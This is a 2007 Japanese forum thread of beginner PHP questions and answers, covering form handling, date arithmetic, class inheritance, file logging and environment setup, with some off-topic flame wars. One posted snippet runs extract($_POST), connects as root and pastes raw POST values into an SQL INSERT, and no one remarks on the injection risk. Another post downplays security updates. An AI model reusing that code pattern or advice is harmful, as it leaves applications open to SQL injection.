【PHP】下らねぇ質問はここに書き込みやがれ 57
レス数が1000を超えています。これ以上書き込みはできません。
0001nobodyさん
2007/10/22(月) 23:10:36ID:mIlonskoPHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 56
http://pc11.2ch.net/test/read.cgi/php/1192092941/
◆質問する時の注意
・ sage進行(メール欄にsageと記入すること)「sage進行」とはスレを目立つ上部に上げないことによって、荒らしが発見できないようにすることです
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
・ 書き込むときには、「公式マニュアル、リファレンス本は読みました」と明記すること
(でないと、公式マニュアル読めと煽られます)
◆質問後の注意
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
・質問者が「公式マニュアル読んだ」と書いていないからといって、
公式マニュアルに書いてもいないのに、公式マニュアルよめと適当なことを言わないこと。
質問者は公式マニュアルを読んでいるかもしれない。
【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0002nobodyさん
2007/10/22(月) 23:11:55ID:mIlonsko【PHP】下らねぇ質問はここに書き込みやがれ 55
http://pc11.2ch.net/test/read.cgi/php/1191058556/
【PHP】下らねぇ質問はここに書き込みやがれ 54
http://pc11.2ch.net/test/read.cgi/php/1189309377/
【PHP】下らねぇ質問はここに書き込みやがれ 53
http://pc11.2ch.net/test/read.cgi/php/1188047468/
【PHP】下らねぇ質問はここに書き込みやがれ 52
http://pc11.2ch.net/test/read.cgi/php/1186794483/
【PHP】下らねぇ質問はここに書き込みやがれ 51
http://pc11.2ch.net/test/read.cgi/php/1185521566/
【PHP】下らねぇ質問はここに書き込みやがれ 50
http://pc11.2ch.net/test/read.cgi/php/1184143801/
【PHP】下らねぇ質問はここに書き込みやがれ 49
http://pc11.2ch.net/test/read.cgi/php/1182794620/
【PHP】下らねぇ質問はここに書き込みやがれ 45 (※実質48)
http://pc11.2ch.net/test/read.cgi/php/1180181033/
【PHP】下らねぇ質問はここに書き込みやがれ 47
http://pc11.2ch.net/test/read.cgi/php/1180181033/
【PHP】下らねぇ質問はここに書き込みやがれ 46
http://pc11.2ch.net/test/read.cgi/php/1178955837/
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1178955768/
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1177635762/
【PHP】下らねぇ質問はここに書き込みやがれ 44
http://pc11.2ch.net/test/read.cgi/php/1176364487/
【PHP】下らねぇ質問はここに書き込みやがれ 43
http://pc11.2ch.net/test/read.cgi/php/1175368910/
【PHP】下らねぇ質問はここに書き込みやがれ 42
http://pc11.2ch.net/test/read.cgi/php/1174217841/
0003nobodyさん
2007/10/22(月) 23:13:14ID:mIlonsko■本家マニュアル http://www.php.net/manual/ja/
■日本PHPユーザ会 http://www.php.gr.jp/
■PEARマニュアル http://pear.php.net/manual/ja/
■メーリングリスト http://ns1.php.gr.jp/mailman/listinfo/
■ZFマニュアル http://framework.zend.com/manual/ja/
(以下英語)
■Smarty http://smarty.php.net/
■Zend本家 http://www.zend.com/
■Zend Framework http://framework.zend.com/
■CakePHP http://www.cakephp.org/
■Code Igniter http://www.codeigniter.com/
■php | architect http://www.phparch.com/
■Smartyマニュアル http://smarty.php.net/manual/en/
■PECL本家(英語) http://pecl.php.net/
0004nobodyさん
2007/10/22(月) 23:13:48ID:???0005nobodyさん
2007/10/22(月) 23:14:16ID:mIlonsko1.文字コードは何を使えばいいの?
→1.UTF-8 2.EUC-JP のどちらか。迷うようなやつはShift_JISは使っちゃダメ。
2. このスレに書き込むときに自分のサイト名を晒したくない
→ http://example.com/が例文などのために予約されている。hogehoge.comは使っちゃダメ。
3. ブラウザに何も表示されないんだけど・・・
→ Apacheの設定を見直せ。ファイルの拡張子は何にしてて、その拡張子でPHPを呼ぶようになっているか?
4. 記号の意味がわからないけどググりようがない
→ 「@」 エラー表示を抑制、「->」 オブジェクトのメンバにアクセス、「::」 静的なメソッド呼び出し、
「==」は暗黙の型変換をしてゆるい比較、「===」は型情報も含めた厳密な比較
5. echo "$arr['hoge']['fuga']"; と書いたらエラーになった
→ {おっぱい括弧}でくくって"{$arr['hoge']['fuga']}"にする
6. 一定時間ごとに自動的に何かしたいんだけど
→ cronかタスクスケジューラを使え。
7.extractって危険なの?
→変数上書き&初期化忘れなどで危険。楽だからという理由だけで安易に使わない。
8. include/requireに「〜.php?a=b&c=d」のようなパラメータをつけたい
→ URL呼び出しなら可能だけど、普通のファイル呼び出しではできません
9.include/requireでURLを指定しても何も起きない
→ .phpの拡張子のファイルをURLで呼び出すと、1度PHPプログラムとして実行された結果になる。
10. そもそもインストールの時点でうまくいかない
→ 確認すべきはPHPのconfigureの引数、php.iniの内容と置き場所、
Webサーバの設定(Apacheならhttpd.conf)、起動&再起動あたり
0006nobodyさん
2007/10/22(月) 23:15:05ID:mIlonsko→ データベース板に誘導されるのが嫌ならPHPにうまく関連させて質問する
12. 文字列のなかに、英字のみとか数字のみとか記号が入っちゃいやんとかはどうしたらいいの?
→ ctype_〜()が手軽。複雑なパターンはpreg_〜()あたりで正規表現を使う。
13. $a1, $a2, $a3 ... のような変数名をうまく扱いたい
→ 可変変数で実現できるけど、むしろ配列を使って$a[1], $a[2], $a[3]等とするのがベター
14. echoとprintってどう違うの?
→ よく議論される話題であるが基本的に両者とも同じ。 以下ちょっとした議論。
http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40
15. クッキーの情報をユーザから隠したい
→ セッション使え。ただしクッキーとセッションは仕組みが違うから同じように扱うな
16. strip_tags()で削除しないタグを複数指定したい
→ strip_tags($html, '<a><p><font>'); // htmlspecialchars()も検討すべし
17. CSVやTSVのファイルをスマートに扱いたい
→ まずはfgetcsv()。ただし日本語を含むと正常に動作しない場合があるので注意だ。
18. 値渡しと参照渡し(「&」を使う)のパフォーマンスの違い
→ C言語じゃないので、パフォーマンス目的で使いわけたらダメ。参照渡しにすると逆に遅くなったりする
参照渡しは引数に戻り値を設定したり引数を関数内で変更するなど、正しい目的に使うこと
19. ファイル入出力関数(fopen等)でリモートファイル(http://〜とか)を扱う際の限界
→ fsockopen()でソケット通信 or PEARのHTTP系 or CURLで解決
必要ならHTTPをはじめとする各種プロトコル(どんなデータを送受信するか)はRFCなどで調べる
20. PHPからPOSTリクエストしたい
→19.を参照
21. 画像処理一般 or GDの限界
→ ImageMagick(PECLのやつ or シェルから実行)
22. 画像・音・動画はファイルで保存?DBに保存?
→ 好きにしてください
23. もっと楽に開発したい。
→ フレームワークを使ってください
24. PHP用のフレームワークって何があるの?
→ 公式ならZend Framework、PHP4にも対応させるのならCakePHPかCode Igniter
0007nobodyさん
2007/10/22(月) 23:21:46ID:???0009nobodyさん
2007/10/22(月) 23:56:16ID:R2eOhRPO乙
待ちわびたぜ!(スレ立て規制されてたみたいね。)
という訳でアゲておきまする
0011nobodyさん
2007/10/23(火) 00:07:21ID:ZhIjhS7Rさっそく質問なんですけど、
<form method="post" action="">
<input type="text" name="name[]" /><input type="text" name="name[]" />....
</form>
の送信先として以下を設定してるんですが、テーブルにデータ登録されてません。
どこに問題があるんでしょう?
<?php
extract($_POST);
$db=mysql_connect('localhost','root','*****');
mysql_select_db('testTable');
mysql_query("SET NAMES utf8");
$dNum = count($_POST['name']) - 1;
if($test != ""){
for($i=0;$i<=$dNum;$i++){
$sql = "insert into musicGenre values(0,'$name[$i]')";
mysql_query($sql);
}
}
?>
winXP apache2 php5 mysql5です
0012nobodyさん
2007/10/23(火) 00:13:58ID:???<form method="post" action="">のaction=""に書いてないってオチじゃないよね?
0013nobodyさん
2007/10/23(火) 00:16:54ID:owrplvTV0014nobodyさん
2007/10/23(火) 00:18:02ID:ZhIjhS7Rありがとうございます。
いや、それは書いてるんです。
***[]の形式を使った不特定数のデータの送信は初めてなんですが、
間違ってるんでしょうか?
0015nobodyさん
2007/10/23(火) 00:18:06ID:???> extract($_POST);
ここでvar_dump()
> $db=mysql_connect('localhost','root','*****');
ここでエラーチェック
> mysql_select_db('testTable');
ここでエラーチェック
> mysql_query("SET NAMES utf8");
ここでエラーチェック
> mysql_query($sql);
ここでエラーチェック
少なくともそれだけやってから質問しましょう。
0016nobodyさん
2007/10/23(火) 00:20:22ID:???> $sql = "insert into musicGenre values(0,'$name[$i]')";
ここで$name[$i]に意図したデータがセットされてるのは
確認済みなのか?
0018nobodyさん
2007/10/23(火) 00:27:53ID:Qf6Mf1rN例えば、30秒なら30-1=29で、単純なのですが、
00秒の場合、59にする必要があります。
03秒の場合、03-1=2…では駄目なので、
2に「0」を付けて、02とする必要があります。
if文で60通り書く・・・という糞ロジックしか浮かばないのですが、
スマートな書き方をご教授頂けませんでしょうか。
よろしくお願いします。
0020nobodyさん
2007/10/23(火) 00:35:43ID:???$sec = $in - 1;
if($sec < 0) $sec = $sec + 60;
$sec = sprintf("%02d", $sec);
0022nobodyさん
2007/10/23(火) 00:46:17ID:???$sec = sprintf("%02d", ($sec - 1) % 60));
>21
0 入れたら -1 になるっぽいが
0023nobodyさん
2007/10/23(火) 00:46:58ID:???$sec -1 → $sec + 59
0024nobodyさん
2007/10/23(火) 00:49:12ID:owrplvTV002611
2007/10/23(火) 00:56:40ID:ZhIjhS7R色々試してみたらうまくいきました。
送りてのphpと受け手のphpが修正するたびに変なタイミングでキャッシュされて
実行できてなかったみたいです。
>>17
>>>if($test != ""){
そこも問題でした。
どうもありがとうございました
0028nobodyさん
2007/10/23(火) 01:40:44ID:???どのようにすればよいでしょうか?
0032nobodyさん
2007/10/23(火) 03:03:01ID:vdGuypQI$dirurl[1] = '../index/2/';
foreach($dirurl as $key =>$value){
$dirurl = $value;
$dir = @opendir($dirurl);
while($file = readdir($dir)) {
if (!is_dir($file)){
@include_once($dirurl.$file);
$fullurl = $dirurl.$file;
$data = explode("." , $dirurl.$file);
echo $data;
echo $include_data;
}
}
closedir($dir);
}
としてファイル名を取得してるのですが、ファイル名はabc.phpの時と123.phpの時があります。
ファイル名が数字だけの時に取得するファイル一覧を数字の大きな順に取得したいのと。
include先の変数$include_dataの数値の数字の大きな順に並べるって言うのは
どうすればいいのでしょう。
0034nobodyさん
2007/10/23(火) 03:32:31ID:???・最近チェックした商品を、ページに表示する
・画像やページを遷都する際に、背景をグレーアウトしてNow Loading...等を出す
ということをやりたいんですが、
Cookieや、Javascriptを使うのは理解できるんですが、なかなかサンプルも見つからず、
どこか分かりやすく解説しているサイトか書物ってないでしょうか?
もしくは、何を勉強すればいいのかヒントください。
0035nobodyさん
2007/10/23(火) 03:46:02ID:???>Cookieや、Javascriptを使うのは理解できるんですが、なかなかサンプルも見つからず、
ここPHPのスレなんですけど><;
flush()あたりを使えばいいかもしれない
と答えて言うのもなんだが>>1
0036nobodyさん
2007/10/23(火) 04:12:02ID:???0037nobodyさん
2007/10/23(火) 04:14:57ID:???親クラスで定義されているメソッドを定義すると
上書きされますよね。
あれを上書きではなく、追加、みたいな感じにすることって不可能でしょうか?
たとえば、
親クラスで
test()
{
echo "hoge";
}
があった場合、
子クラスで
test()
{
echo "fuga";
}
とすると、
子クラスの test()使った場合、
echo "fuga"; が実行されますが、
これを
echo "hoge";
echo "fuga";
が実行されるようにしたいのです。
0039nobodyさん
2007/10/23(火) 04:25:32ID:???インストール、設定で色々調べていくつかのサイトは見つたのですが、それらを参考にして設定していたのですがなかなか上手くいきません
そこでphpのインストールやら設定で分かり易く解説しているオススメのサイトをご存知ではありませんか?
できればお願いします
0041nobodyさん
2007/10/23(火) 04:35:46ID:???0042nobodyさん
2007/10/23(火) 04:38:55ID:???環境が何も分からないので推測で書くが
1.phpフォルダをコピー
2.Apacheのhttpd.confにLoadModuleとAddTypeを書き加える
3.必要に応じてphp.iniを編集
4.再起動
でok
>>40
http://www.php.net/manual/ja/install.windows.php
インターネットでオールインワンのインストーラがいくつか見かけられます。 しかし、
いずれも PHP.net により公認されたものではありません。 システムを最適化し、
また、安全を保つためには、 ≫ http://www.php.net/downloads.php にある公式
windows パッケージのいずれかを使用することが もっとも良い選択ではないかと
我々は考えています。
0043nobodyさん
2007/10/23(火) 04:48:02ID:vdGuypQI早速レスをいただいててありがとうございます。
あまり寝ていなかったので寝てました・・・
is_numeric と sort をどう組み込めばいいのか分からないので
少し調べてみます。
0044nobodyさん
2007/10/23(火) 04:49:08ID:???PHPの開発には企業・個人問わずXAMPPが主流だと思うのだが。
鯖を運営するわけでもないしセキュリティーホールが見つかったととしても、
すぐにアップデートする必要もない。
>インターネットでオールインワンのインストーラがいくつか見かけられます。
> しかし、いずれも PHP.net により公認されたものではありません。
>システムを最適化し、また、安全を保つためには〜
この文言は最新版でないPHPをつかってる可能性があるから入れてるわけで、
そんなのXAMPPつかってないユーザにも当てはまるし、
そもそもオールインワンといってもファイルの中身は同じなわけで(多少設定はいじってるが)
0045nobodyさん
2007/10/23(火) 04:52:17ID:???0046nobodyさん
2007/10/23(火) 05:15:57ID:???何息を吐くように嘘付いてるんだ。根拠を示してみろ。
0048nobodyさん
2007/10/23(火) 05:24:53ID:???金食い虫のlinuxオタクの鯖管はいらないってことですよ^^;
今からはパッケージが主流になり、問題が起きた時のみ外部委託するコスト削減型がメインになるんです
ttp://www.thinkit.co.jp/free/article/0701/12/1/
0049nobodyさん
2007/10/23(火) 05:28:11ID:???0050nobodyさん
2007/10/23(火) 05:30:15ID:???0051nobodyさん
2007/10/23(火) 05:36:13ID:???0053nobodyさん
2007/10/23(火) 06:30:39ID:???莫大なライセンス料が発生すると聞いたのですが、phpはそんなの関係ねーーーーーでFAですか?
0054nobodyさん
2007/10/23(火) 07:03:15ID:???システム売りも買う側は払う必要がないし、作っている側が上乗せすればいいだけの話だろ
そもそも派遣システムがあるので、顧客先に派遣されて社内開発すれば問題ないよw
0055nobodyさん
2007/10/23(火) 07:08:47ID:???ブラックボックス化することにより環境構築をサービスと
して成立させることも可能
0056nobodyさん
2007/10/23(火) 07:15:09ID:???PHPは利用目的により異なるライセンス体系を適用なんて野暮なことはしないから無問題
MySQLはGPLと商用ライセンスの二本立てってのが煩わしいかな
っつうか、どんだけの人間がライセンスを理解し、かつポリシーに従っているかは興味ある
0057nobodyさん
2007/10/23(火) 07:40:09ID:???もはや、女どころか男友達もいなくなりました。
0059nobodyさん
2007/10/23(火) 08:23:07ID:ZhIjhS7R1)a.phpでフォームAに入力して「送信」(action="b.php")
2)b.phpでAの内容をSQL処理。追加情報フォームBを表示
という処理をしたいとき、フォームBのページ(b.php)をリロードしたら
フォームAの内容を再度SQL処理してしまうのではと不安です。
回避する方法はないでしょうか?
考えた方法としては、A-Bの間に一枚処理用のページをはさませて、
そこで実行後Bにリダイレクトかと思いましたが、そういうことをしてるページは
少ないようです。(アマゾンの注文フォームなんかは違ったような…)
ご意見お願いします。
あまり関係ないかもしれないですが、仕様としては、Bのフォーム表示の際に、
AのSQL処理で生成されるインクリメント値を利用したいと思っています。
(BのSQL処理の際に、それを主キーとしたいので…)
環境はwinXP,apache2,php5,mysql5です
0060nobodyさん
2007/10/23(火) 10:08:58ID:???php技術者って時給安すぎだよ。javaやoracleの方が相当高い。
phpに罪はないだろうけど、仕事としてはやっていけないね、この言語。
0062軟式PHP
2007/10/23(火) 10:10:18ID:???ここ参考になる鴨。
http://itpro.nikkeibp.co.jp/article/COLUMN/20070910/281585/
0063nobodyさん
2007/10/23(火) 10:15:04ID:???そりゃそうだw 大規模なサイトやシステムを構築するのにPHPではとても使えない。
必然的に小規模のサイトに用途が限られるわけで、予算のしょぼい。よって技術者に支払える給料もちょびっとww
学生バイトでやるならいいけど、仕事(自社のHPの管理を除く)としてPHPはきつい。家庭がない独身なら生活はなんとかできると思うけどね。
0064nobodyさん
2007/10/23(火) 10:18:44ID:02rIs4muシステムクロック?NTPサーバ?
0065nobodyさん
2007/10/23(火) 10:20:35ID:???Webアプリなんて、ほとんどDBからデータを引っ張ってきて
ちょっと加工して表示して、追加・更新・削除するだけだろ?
Javaでしかできないことがあったら知りたい
0066軟式PHP
2007/10/23(火) 10:21:53ID:???スタンドアロンでも動くのだから分かるべ。
マニュアルにも
・PHPスクリプトを実行するサーバから日付と時間を取得することが可能となります。
と買いとる。
0068nobodyさん
2007/10/23(火) 10:26:02ID:02rIs4muどうもです。取得しているところを使い分けられるのかな〜って思ったんですが。
ネットにつながっていれば、NTPからなのかな?、とか。
0069軟式PHP
2007/10/23(火) 10:29:04ID:???でもまぁ、大規模なmixi・モバオク・モバゲーもperlで作ってるし作り手次第でしょ。
どんな言語でもプログラマがダメだったらダメなんですよ。
信頼性・拡張性もどちらかと言えばプログラマの知識・経験から作り出されるようなもんだし。
0070nobodyさん
2007/10/23(火) 10:38:10ID:???クライアント側も無駄に見栄を張りたがるからPHP,PerlよりJava、
SIも金取れるからJavaで提案、みたいな
0073nobodyさん
2007/10/23(火) 11:14:46ID:???0075nobodyさん
2007/10/23(火) 11:41:52ID:???単金が安いのは需要と供給が崩れたからだろうね
昔の"VBできますよ似非技術者"が溢れかえった時みたいに
あと受け入れ側の心情として、どこの馬の骨か素性のわからん奴に
高額の報酬用意してお待ちしておりますなんてありえない
0076nobodyさん
2007/10/23(火) 12:03:24ID:UFlDplZuそれ言う人多いけど、具体的にどの仕様のことさして言ってるですか?
package?
enum?
ネストしたクラス?
クラス変数の初期化の柔軟性?
JAVAの厳密型付けは、俺も好きだけど
PHPにも大雑把なタイプヒンティングあるし、設計しだいでは、十分に
「再利用可能な」オブジェクト指向設計を出来ると思うけど。
packageは便利だね。部品化しやすいし。
確かに、PHPにもネームスペースはほしい。
煽りとかじゃなくて、最近JAVAにはまっていろいろ勉強してるし、
そう言う人が多いので、本当にどこがそうなのか教えてほしいと思う。
0077nobodyさん
2007/10/23(火) 12:14:44ID:???大規模になれば、それだけ開発する人間も大人数(将来的な変更も考えれば更に大人数)になる。
人が多ければ、中には質の悪い技術者もいるし、仕様勘違いする奴も出てくる。
phpの場合、型は甘いし、privateメソッドも平気で呼び出せる。
結局VBの偽クラスと一緒で、オブジェクト指向が予定しているクラス仕様とは似て非なるもの。
動けば良いじゃんって思っている学生には関係ない話だが。
0078nobodyさん
2007/10/23(火) 12:19:20ID:???0079nobodyさん
2007/10/23(火) 13:05:57ID:???>人が多ければ、中には質の悪い技術者もいるし、仕様勘違いする奴も出てくる。
こんなの言語とぜんぜん関係ない
Javaだったら、お前のような質の悪い技術者でもまともな製造ができるとでも言うのか?w
ただphpの悪い部分をあげつらいたいだけって感じだな
0080nobodyさん
2007/10/23(火) 13:12:39ID:???PHPは仕様が曖昧でも使える
こういうこと?
0081nobodyさん
2007/10/23(火) 13:18:24ID:???まぁ。PHPも見習い程度なんだけど。
0082nobodyさん
2007/10/23(火) 13:18:34ID:???0084nobodyさん
2007/10/23(火) 13:41:47ID:???0085nobodyさん
2007/10/23(火) 13:57:52ID:???この手の人間が一番最悪。
自分は世の中で完全無欠な人間だと思い込んでいる。
人が何か異論を唱えれば、逆賊と喧伝し激高する。
いわば犯罪予備軍と言うべきで、しかるべき機関に逮捕してもらいたい。
0088nobodyさん
2007/10/23(火) 14:33:33ID:UFlDplZuレスサンクス
スレ趣旨とずれてるのに今気づいたので、コメントは控えとく…
ところで質問があったの忘れてた。
PHPでstaticなfunctionから実際に呼び出されたクラス名を取得する方法ってあります?
例えば親クラスに
class Parent{
public static function getInstance(){
}
}
class Child extends Parent{
}
Child::getInstance();
としたときにgetInstanceの中でChildを取得することって出来ますでしょうか?
get_classも__CLASS__も親クラスの名前が来ちゃいました。
子クラスにクラス名を返すstaticメソッドをいちいち作ればいけるけど、それもなんだし・・・
なんかいい方法あったらお願いします。
008988
2007/10/23(火) 14:51:14ID:???すんません。
そこのコメントにもあるけど、重そうだし、別の方法にします。
お騒がせしました。
0090nobodyさん
2007/10/23(火) 15:30:26ID:yqsanTFX0091nobodyさん
2007/10/23(火) 15:36:29ID:???0092nobodyさん
2007/10/23(火) 15:45:34ID:???早速調べてみたらいいサイト+見事にphpやらApacheやらエディッタやら様々なものを導入する事ができました!
インストールと設定でかなりの時間を費やしていたのに、これを入れたらすんなり行けたので驚きと感動を感じれました
これからやっとphpの勉強が開始できそうです
本当に有難うございました!
0093nobodyさん
2007/10/23(火) 16:11:50ID:???自分のPCで開発するなら当然なくてはだめ。
ついでに言えばPHPだけだと簡単なデバッグぐらいにしか使えないので、
Apache(httpd)やMySQL(dbms)等のWebアプリを動作させるサーバ系ソフトが一式あったほうがいい。
レン鯖使っての開発はわざわざ修正するたびにスクリプトをアップロードしないといけないし、
なんかのバグでレン鯖に支障をきたしたら怒られるので基本的にやっちゃだめ。
つまり上のほうで出てるけどXAMPP入れればOK
0094nobodyさん
2007/10/23(火) 16:18:45ID:2nhYvC/gclass Hoge {
static final $hoge = 1;
define("HOGE", "aaaa");
}
いずれもだめでした。
0095nobodyさん
2007/10/23(火) 16:24:56ID:5s2xr4I1付加していきたいのですが array_unshift の使用では無理なのでしょうか?
マニュアル読んで試行しながらの製作なので稚拙な質問で申し訳ないです。
$topwrite = "$name\t$comment\t$time\t$delkey\n"; //新しく追加するデータを TAB で区切って整形
$write = fopen("./card-walin.cgi","w"); //書き込み用モードでデータを開く(データは空になる)
flock($write, LOCK_EX); //ファイルロック開始
fputs($write, $topwrite); //先頭に1行書き込む
for($i = 0; $i < 179; $i++){ //179行まで走査処理をする
$ppp = $log[$i];
$ooo = array_unshift($ppp, '[$i]');
fputs($write, $ooo); //今までの分を書き込む
}
flock ($write, LOCK_UN); //ファイルロック解除
fclose ($write); //ファイルを閉じる
0096nobodyさん
2007/10/23(火) 16:37:34ID:4NCgDg1P009894
2007/10/23(火) 16:43:31ID:2nhYvC/gどうもありがとうございます。
こんなのがあったとは知りませんでした。
php5なのでこれを使いたいと思います。
0100nobodyさん
2007/10/23(火) 17:05:32ID:???よーしエスパーしちゃうぞー
$topwrite = "0\t$name\t$comment\t$time\t$delkey\n"; //新しく追加するデータを TAB で区切って整形
$write = fopen("./card-walin.cgi","w"); //書き込み用モードでデータを開く(データは空になる)
flock($write, LOCK_EX); //ファイルロック開始
$ppp = $topwrite;
for($i=0,$n=1;$i<179;$i++,$n++){
$ppp .= $n."\t".$log[$i]."\n";
}
fputs($write, $ppp); //今までの分を書き込む
flock ($write, LOCK_UN); //ファイルロック解除
fclose ($write); //ファイルを閉じる
0101nobodyさん
2007/10/23(火) 17:10:48ID:???メジャーバージョン 4と5 では言語仕様で異なる部分が大きいので意識しなきゃ駄目
マイナーバージョンでも差異が生じる箇所が出てくるのでやはり意識しなきゃ駄目
0102nobodyさん
2007/10/23(火) 17:41:46ID:???SQLite が嫌なら最近 MS謹製PHP Driverが出た SQLServer2005Express + SSMSE
で、IDEはEclipse + PHP plugin
010395
2007/10/23(火) 17:50:42ID:???わかりにくくて申し訳ありません、
>>95のデータの上に実はログを$writeとして一度全取得する行がありまして
fputs($write, $topwrite); で新しい書き込みをそのログに付け足してるわけなんです。
そして179行まで走査処理をする (179行以前のログを消去する)際に
1行づつにナンバーを振りなおしたいと思っております。
-----------------------------------
$name\t$comment\t$time\t$delkey\n //一行のデータ内容
↓
$no\t$name\t$comment\t$time\t$delkey\n //先頭にナンバーの項目を割り振っていきたい
-----------------------------------
これで何したいかと言うと削除ナンバーとして使いたいんですが
なんか凄いややこしいですね。
普通にログのナンバーに+1していく方が楽なのはわかるのですが
それだと永遠に番号増えていくのが嫌なのです。
何か他にいい方法ありませんかね。
>>100
あ、すいません今から晩飯作るので
その後その方法でためさせてもらいますね。
ありがとうございます。
0104nobodyさん
2007/10/23(火) 17:53:35ID:???IISってProfessionalしか使えないの知ってるか?
ASPやるわけじゃないのに、そんな特殊な環境すすめるなよ。
0105nobodyさん
2007/10/23(火) 17:55:39ID:???0106nobodyさん
2007/10/23(火) 17:58:24ID:???0107nobodyさん
2007/10/23(火) 18:11:19ID:???とくに薦める理由もなさそうだな
0108nobodyさん
2007/10/23(火) 18:16:31ID:???0109nobodyさん
2007/10/23(火) 18:19:37ID:???0110nobodyさん
2007/10/23(火) 18:24:00ID:???Linux + Apache + PHP + Oracle(XE)
この組み合わせがいいと思うが
全部無料だし
011390
2007/10/23(火) 19:06:13ID:yqsanTFX0114nobodyさん
2007/10/23(火) 19:36:02ID:???普通にグラフを作成する事は出来るようになったのですが、一つだけどうしても
分からないので、もし分かる方がいらっしゃったら教えて頂けないでしょうか。
やりたい事→Y軸の数字を下から上に向かって小さくしたい
X軸と交わるところを200として、上に行くにつれて1になっていくように番号を
振りたいと考えております。
よろしくお願いします
0115nobodyさん
2007/10/23(火) 19:37:54ID:???0116nobodyさん
2007/10/23(火) 20:06:39ID:???俺も何のグラフか気になる。普通グラフってデカルト平面上にプロットされるもんじゃないの
0118nobodyさん
2007/10/23(火) 21:33:12ID:???自分の周りにPGいないから2chぐらいしか話せる人がいないのが現状w
現場のソースとかクラス設計がどうなってるのか気になる。
0119nobodyさん
2007/10/23(火) 21:36:06ID:???0120nobodyさん
2007/10/23(火) 21:36:38ID:???恵まれた環境の現場で無い限り、参考になるソースなんてほとんどないよ。
オープンソースのフレームワークや、プロダクトのコードを見る方がよっぽど参考になる。
優れた実装という意味ではね(現場の実情という意味ならまた別w)
0121nobodyさん
2007/10/23(火) 21:52:10ID:???読んでる人います?
どうなのかなぁ
0122nobodyさん
2007/10/23(火) 22:05:51ID:???0123nobodyさん
2007/10/23(火) 22:10:21ID:???0124nobodyさん
2007/10/23(火) 22:13:46ID:???0125nobodyさん
2007/10/23(火) 22:29:09ID:1COZJ3HSお分かりになる方、教えてください
PHPとHTMLで作られたページに
画像をアップしたときのことです
ソフトハウスの方から、
縦、横の画像ファイルのサイズ指定
をうけ縦がそのファイルサイズ
に満たないと
画像がたてのみが勝手に伸びたり
横がそのファイル指定サイズに満たないと
横のみが勝手に延びたりします
これを回避する方法はないでしょうか
ソフトハウスからいわれたのは
アップする画像を、
指定したサイズぴったりにして
アップしてほしいとの事です。
そうではなくて、どんな大きさの
画像をアップしても
勝手に縦に伸びたりせず
綺麗に収まるような設定はないでしょうかね?
これはHTMLのほうの問題なんでしょうか?
長くなりましたがよろしくお願いします
0127nobodyさん
2007/10/23(火) 22:40:09ID:???縦か横のサイズを指定するだけなら比率はそのまま縮小拡大表示するでしょ。
縦横両方指定するからそんな状態になる。
表示させたい画像のサイズを調べて縦か横、どちらか絞りたい方のサイズを
HTML上で指定するようにすればいいよ。
縦横どちらも指定サイズ(比率固定)にしなければいけないんだとしたら
GDとかImagemagickとか使って、画像の変換かけないと無理。
ttp://www.php.net/manual/ja/ref.image.php
か
ttp://www.php.net/manual/ja/ref.imagick.php
参照。
0128nobodyさん
2007/10/23(火) 22:44:38ID:???0129nobodyさん
2007/10/23(火) 22:44:52ID:???0130nobodyさん
2007/10/23(火) 22:49:27ID:???ソフ屋に画像のサイズの比率計算して
width属性の値とheight属性の値を
自動で設定するように変えてもらうといい
0131nobodyさん
2007/10/23(火) 23:38:00ID:1COZJ3HS130さんの意味がわからない・・。
レベルは初心者に近いです。
すこしはHTMLのことはわかります
127さんの
縦か横のサイズを指定するだけなら比率はそのまま縮小拡大表示するでしょ。
縦横両方指定するからそんな状態になる。
表示させたい画像のサイズを調べて縦か横、どちらか絞りたい方のサイズを
HTML上で指定するようにすればいいよ。
はわかります。
0132nobodyさん
2007/10/23(火) 23:56:36ID:1COZJ3HSきっとですね、ソフトハウスの指定した
サイズはデザイン上
そのサイズにしないといけないのと思います。
0133nobodyさん
2007/10/23(火) 23:58:44ID:???テスターも使ったことがない人が「テレビが故障したけどどこを直したらいいでしょうか」なんて
質問は多分しないのに、なんでこういうソフトになると「よく知らないんだけど・・・」って当然のように
前置きしてきいてくるんだろうな?
0134nobodyさん
2007/10/24(水) 00:04:15ID:???さっきから皆が言ってくれているように、画像のサイズを計算した上でHTMLを
出力するようにスクリプトのソースを書き換えれば、「そのサイズにしないといけない」
という状態から解放されます。
013595
2007/10/24(水) 00:13:28ID:???>>100さんの内容で試させて頂いた結果こちらの記述ミスあった可能性大なのですが
ちょっと無限ループっぽい挙動になってしまいました・・・・・・・・・
1から勉強しなおそうと思うのですが
180行まで保存するログに投稿があっても
毎回180までの番号を振りたい場合
どういうロジックのプログラムを書けばいいのでしょうか?
そのプログラムに主要な構文だけ軽く説明を交えて
教えて頂けないでしょうか?
書き込みの際に番号を振ることと
コメント投稿の際に全ての番号を一旦消去する挙動が特に困難です。
下記は今書いてて失敗したコメントをログに書き込む部分の
プログラムになります。
お手間取らせて本当にすいません。
http://www.pachiweb.com/updir/html/ppp.html
0136nobodyさん
2007/10/24(水) 00:19:18ID:???テレビは半田ゴテ使ったりしないといけないけど
ソフトはワープロ使えたら教えてもらったのをコピペすれば済む、と考えてるんじゃないかな?
125氏の場合はHTMLを少し改造するだけで済むなら自分でも出来ると考えてるのでは。
>>125
画像は縦か横か一方への固定?
開発側がデザイン的にそのサイズにさせたいなら画像のマージンで開発側が意図するサイズ
を空白として確保するって手はあると思う。
というかソフトハウスのデザインオナニーに付き合う必要ないでしょ。
客が使えないシステムを強要するな、と言って叩き返しましょう。
